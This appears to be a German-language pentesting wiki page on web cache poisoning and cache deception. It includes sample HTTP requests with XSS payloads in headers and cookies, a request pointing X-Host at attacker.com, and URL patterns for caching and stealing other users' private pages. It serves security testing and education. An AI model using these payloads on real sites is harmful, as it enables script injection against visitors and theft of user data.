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Cache Poisoning und Cache Deception

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Der Unterschied

Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Deception?

• Bei Web-Cache-Poisoning verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwendungsbenutzer ausgeliefert.
• Bei Web-Cache-Deception verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.

Cache Poisoning

Cache-Poisoning zielt darauf ab, den Client-seitigen Cache zu manipulieren, um Clients dazu zu bringen, Ressourcen zu laden, die unerwartet, teilweise oder unter der Kontrolle eines Angreifers stehen. Das Ausmaß der Auswirkungen hängt von der Popularität der betroffenen Seite ab, da die kontaminierte Antwort ausschließlich an Benutzer ausgeliefert wird, die die Seite während der Cache-Kontamination besuchen.

Die Ausführung eines Cache-Poisoning-Angriffs umfasst mehrere Schritte:

1. Identifizierung von Unkeyed Inputs: Dies sind Parameter, die, obwohl sie nicht erforderlich sind, damit eine Anfrage im Cache gespeichert wird, die Antwort des Servers ändern können. Die Identifizierung dieser Eingaben ist entscheidend, da sie ausgenutzt werden können, um den Cache zu manipulieren.
2. Ausnutzung der Unkeyed Inputs: Nach der Identifizierung der unkeyed Inputs besteht der nächste Schritt darin, herauszufinden, wie man diese Parameter missbrauchen kann, um die Antwort des Servers in einer Weise zu ändern, die dem Angreifer zugutekommt.
3. Sicherstellen, dass die vergiftete Antwort im Cache gespeichert wird: Der letzte Schritt besteht darin, sicherzustellen, dass die manipulierte Antwort im Cache gespeichert wird. Auf diese Weise erhält jeder Benutzer, der die betroffene Seite besucht, während der Cache vergiftet ist, die kontaminierte Antwort.

Entdeckung: Überprüfen der HTTP-Header

Normalerweise gibt es, wenn eine Antwort im Cache gespeichert wurde, einen Header, der dies anzeigt. Du kannst überprüfen, auf welche Header du in diesem Beitrag achten solltest: HTTP Cache-Header.

Entdeckung: Caching-Fehlercodes

Wenn du denkst, dass die Antwort in einem Cache gespeichert wird, könntest du versuchen, Anfragen mit einem fehlerhaften Header zu senden, auf die mit einem Statuscode 400 geantwortet werden sollte. Versuche dann, die Anfrage normal zuzugreifen, und wenn die Antwort ein 400-Statuscode ist, weißt du, dass es anfällig ist (und du könntest sogar einen DoS durchführen).

Du findest weitere Optionen in:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Beachte jedoch, dass manchmal diese Arten von Statuscodes nicht im Cache gespeichert werden, sodass dieser Test möglicherweise nicht zuverlässig ist.

Entdeckung: Identifizieren und Bewerten von Unkeyed Inputs

Du könntest Param Miner verwenden, um Parameter und Header zu brute-forcen, die möglicherweise die Antwort der Seite ändern. Zum Beispiel könnte eine Seite den Header X-Forwarded-For verwenden, um dem Client anzuzeigen, dass das Skript von dort geladen werden soll:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

Mit dem identifizierten Parameter/Header überprüfen, wie er bereinigt wird und wo er reflektiert wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie ausnutzen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? einen DoS durchführen?...)

Get the response cached

Sobald du die Seite identifiziert hast, die ausgenutzt werden kann, welchen Parameter/Header du verwenden und wie du ihn ausnutzen kannst, musst du die Seite im Cache speichern. Je nach Ressource, die du im Cache speichern möchtest, kann dies einige Zeit in Anspruch nehmen, du musst möglicherweise mehrere Sekunden lang versuchen.
Der Header X-Cache in der Antwort könnte sehr nützlich sein, da er den Wert miss haben kann, wenn die Anfrage nicht im Cache gespeichert wurde, und den Wert hit, wenn sie im Cache gespeichert ist.
Der Header Cache-Control ist ebenfalls interessant, um zu wissen, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: Cache-Control: public, max-age=1800
Ein weiterer interessanter Header ist Vary. Dieser Header wird häufig verwendet, um zusätzliche Header anzugeben, die als Teil des Cache-Schlüssels behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann der Benutzer, wenn er den User-Agent des Opfers kennt, das er anvisiert, den Cache für die Benutzer mit diesem spezifischen User-Agent vergiften.
Ein weiterer Header, der mit dem Cache zusammenhängt, ist Age. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.

Beim Caching einer Anfrage sei vorsichtig mit den Headern, die du verwendest, da einige von ihnen unerwartet als schlüsselig verwendet werden könnten und das Opfer diesen gleichen Header verwenden muss. Teste immer eine Cache-Vergiftung mit verschiedenen Browsern, um zu überprüfen, ob es funktioniert.

Exploiting Examples

Easiest example

Ein Header wie X-Forwarded-For wird unsaniert in der Antwort reflektiert.
Du kannst eine grundlegende XSS-Payload senden und den Cache vergiften, sodass jeder, der auf die Seite zugreift, XSS ausgesetzt wird:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache-Poisoning für DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Verwendung von Web-Cache-Poisoning zur Ausnutzung von Cookie-Verwundbarkeiten

Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn Sie dies missbrauchen können, um beispielsweise ein XSS zu verursachen, könnten Sie in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige Cache-Antwort laden.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Beachten Sie, dass, wenn das verwundbare Cookie von den Benutzern häufig verwendet wird, regelmäßige Anfragen den Cache bereinigen.

Cache-Vergiftung mit Pfadüberquerung zum Stehlen des API-Schlüssels

Dieser Bericht erklärt, wie es möglich war, einen OpenAI API-Schlüssel mit einer URL wie https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 zu stehlen, da alles, was mit /share/* übereinstimmt, ohne dass Cloudflare die URL normalisiert, im Cache gespeichert wird, was geschah, als die Anfrage den Webserver erreichte.

Verwendung mehrerer Header zur Ausnutzung von Web-Cache-Vergiftungsanfälligkeiten

Manchmal müssen Sie mehrere unverschlüsselte Eingaben ausnutzen, um einen Cache missbrauchen zu können. Zum Beispiel können Sie einen Open Redirect finden, wenn Sie X-Forwarded-Host auf eine von Ihnen kontrollierte Domain und X-Forwarded-Scheme auf http setzen. Wenn der Server alle HTTP-Anfragen an HTTPS weiterleitet und den Header X-Forwarded-Scheme als Domainnamen für die Weiterleitung verwendet. Sie können steuern, wohin die Seite durch die Weiterleitung zeigt.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Ausnutzen des begrenzten Vary-Headers

Wenn Sie festgestellt haben, dass der X-Host-Header als Domainname zum Laden einer JS-Ressource verwendet wird, der Vary-Header in der Antwort jedoch User-Agent angibt, müssen Sie einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu vergiften:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Senden Sie eine GET-Anfrage mit der Anfrage in der URL und im Body. Wenn der Webserver den aus dem Body verwendet, der Cache-Server jedoch den aus der URL cached, wird jeder, der auf diese URL zugreift, tatsächlich den Parameter aus dem Body verwenden. Wie die Schwachstelle, die James Kettle auf der Github-Website gefunden hat:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Zum Beispiel ist es möglich, Parameter in Ruby-Servern mit dem Zeichen ; anstelle von & zu trennen. Dies könnte verwendet werden, um unverschlüsselte Parameterwerte in verschlüsselte einzufügen und sie auszunutzen.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Erfahren Sie hier, wie man Cache Poisoning-Angriffe durch Ausnutzung von HTTP Request Smuggling durchführt.

Automated testing for Web Cache Poisoning

Der Web Cache Vulnerability Scanner kann verwendet werden, um automatisch nach Web-Cache-Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.

Beispielverwendung: wcvs -u example.com

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Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS leitete den Fragmentteil innerhalb der URL weiter, ohne ihn zu entfernen, und generierte den Cache-Schlüssel nur unter Verwendung des Hosts, des Pfads und der Abfrage (das Fragment ignorierend). Daher wurde die Anfrage /#/../?r=javascript:alert(1) an das Backend als /#/../?r=javascript:alert(1) gesendet, und der Cache-Schlüssel hatte die Payload nicht darin, nur Host, Pfad und Abfrage.

GitHub CP-DoS

Das Senden eines fehlerhaften Wertes im Content-Type-Header löste eine 405-Cache-Antwort aus. Der Cache-Schlüssel enthielt das Cookie, sodass es nur möglich war, nicht authentifizierte Benutzer anzugreifen.

GitLab + GCP CP-DoS

GitLab verwendet GCP-Buckets zur Speicherung statischer Inhalte. GCP-Buckets unterstützen den Header x-http-method-override. Daher war es möglich, den Header x-http-method-override: HEAD zu senden und den Cache zu vergiften, um eine leere Antwort zurückzugeben. Es könnte auch die Methode PURGE unterstützen.

Rack Middleware (Ruby on Rails)

In Ruby on Rails-Anwendungen wird häufig Rack-Middleware verwendet. Der Zweck des Rack-Codes besteht darin, den Wert des x-forwarded-scheme-Headers zu übernehmen und ihn als Schema der Anfrage festzulegen. Wenn der Header x-forwarded-scheme: http gesendet wird, erfolgt eine 301-Weiterleitung an denselben Ort, was möglicherweise zu einer Denial of Service (DoS) für diese Ressource führt. Darüber hinaus könnte die Anwendung den X-forwarded-host-Header anerkennen und Benutzer an den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.

403 and Storage Buckets

Cloudflare hat zuvor 403-Antworten zwischengespeichert. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Autorisierungsheadern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Zwischenspeichern von 403-Antworten eingestellt hat, könnte dieses Verhalten weiterhin in anderen Proxy-Diensten vorhanden sein.

Injecting Keyed Parameters

Caches enthalten häufig spezifische GET-Parameter im Cache-Schlüssel. Zum Beispiel speicherte Fastlys Varnish den size-Parameter in Anfragen. Wenn jedoch eine URL-kodierte Version des Parameters (z. B. siz%65) ebenfalls mit einem fehlerhaften Wert gesendet wurde, wurde der Cache-Schlüssel unter Verwendung des korrekten size-Parameters erstellt. Dennoch würde das Backend den Wert im URL-kodierten Parameter verarbeiten. Das URL-Codieren des zweiten size-Parameters führte zu dessen Auslassung durch den Cache, aber zu seiner Nutzung durch das Backend. Das Zuweisen eines Wertes von 0 zu diesem Parameter führte zu einem zwischenspeicherbaren 400 Bad Request-Fehler.

User Agent Rules

Einige Entwickler blockieren Anfragen mit User-Agents, die mit denen von stark frequentierten Tools wie FFUF oder Nuclei übereinstimmen, um die Serverlast zu verwalten. Ironischerweise kann dieser Ansatz Schwachstellen wie Cache-Poisoning und DoS einführen.

Illegal Header Fields

Die RFC7230 spezifiziert die akzeptablen Zeichen in Headernamen. Header, die Zeichen außerhalb des angegebenen tchar-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server jedoch nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler zwischenspeichert, solange der cache-control-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie \, zu einem zwischenspeicherbaren 400 Bad Request-Fehler führte.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Das Ziel der Cache Deception ist es, dass Clients Ressourcen laden, die mit ihren sensiblen Informationen vom Cache gespeichert werden.

Zunächst ist zu beachten, dass Erweiterungen wie .css, .js, .png usw. normalerweise konfiguriert sind, um im Cache gespeichert zu werden. Daher wird der Cache wahrscheinlich die Antwort speichern, wenn Sie www.example.com/profile.php/nonexistent.js aufrufen, da er die .js Erweiterung sieht. Wenn jedoch die Anwendung mit den sensiblen Benutzerinhalten, die in www.example.com/profile.php gespeichert sind, wiedergibt, können Sie diese Inhalte von anderen Benutzern stehlen.

Weitere Dinge, die getestet werden sollten:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Verwenden Sie weniger bekannte Erweiterungen wie .avif

Ein weiteres sehr klares Beispiel finden Sie in diesem Bericht: https://hackerone.com/reports/593712.
In dem Beispiel wird erklärt, dass, wenn Sie eine nicht vorhandene Seite wie http://www.example.com/home.php/non-existent.css laden, der Inhalt von http://www.example.com/home.php (mit den sensiblen Informationen des Benutzers) zurückgegeben wird und der Cache-Server das Ergebnis speichern wird.
Dann kann der Angreifer http://www.example.com/home.php/non-existent.css in seinem eigenen Browser aufrufen und die vertraulichen Informationen der Benutzer beobachten, die zuvor darauf zugegriffen haben.

Beachten Sie, dass der Cache-Proxy so konfiguriert sein sollte, dass er Dateien basierend auf der Erweiterung der Datei (_ .css_) und nicht basierend auf dem Content-Type zwischenspeichert. Im Beispiel http://www.example.com/home.php/non-existent.css wird ein text/html-Content-Type anstelle eines text/css-Mime-Typs (der für eine .css-Datei erwartet wird) haben.

Erfahren Sie hier, wie man Cache Deceptions-Angriffe durch Ausnutzung von HTTP Request Smuggling durchführt.

Automatic Tools

• toxicache: Golang-Scanner, um Web-Cache-Poisoning-Schwachstellen in einer Liste von URLs zu finden und mehrere Injektionstechniken zu testen.

References

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

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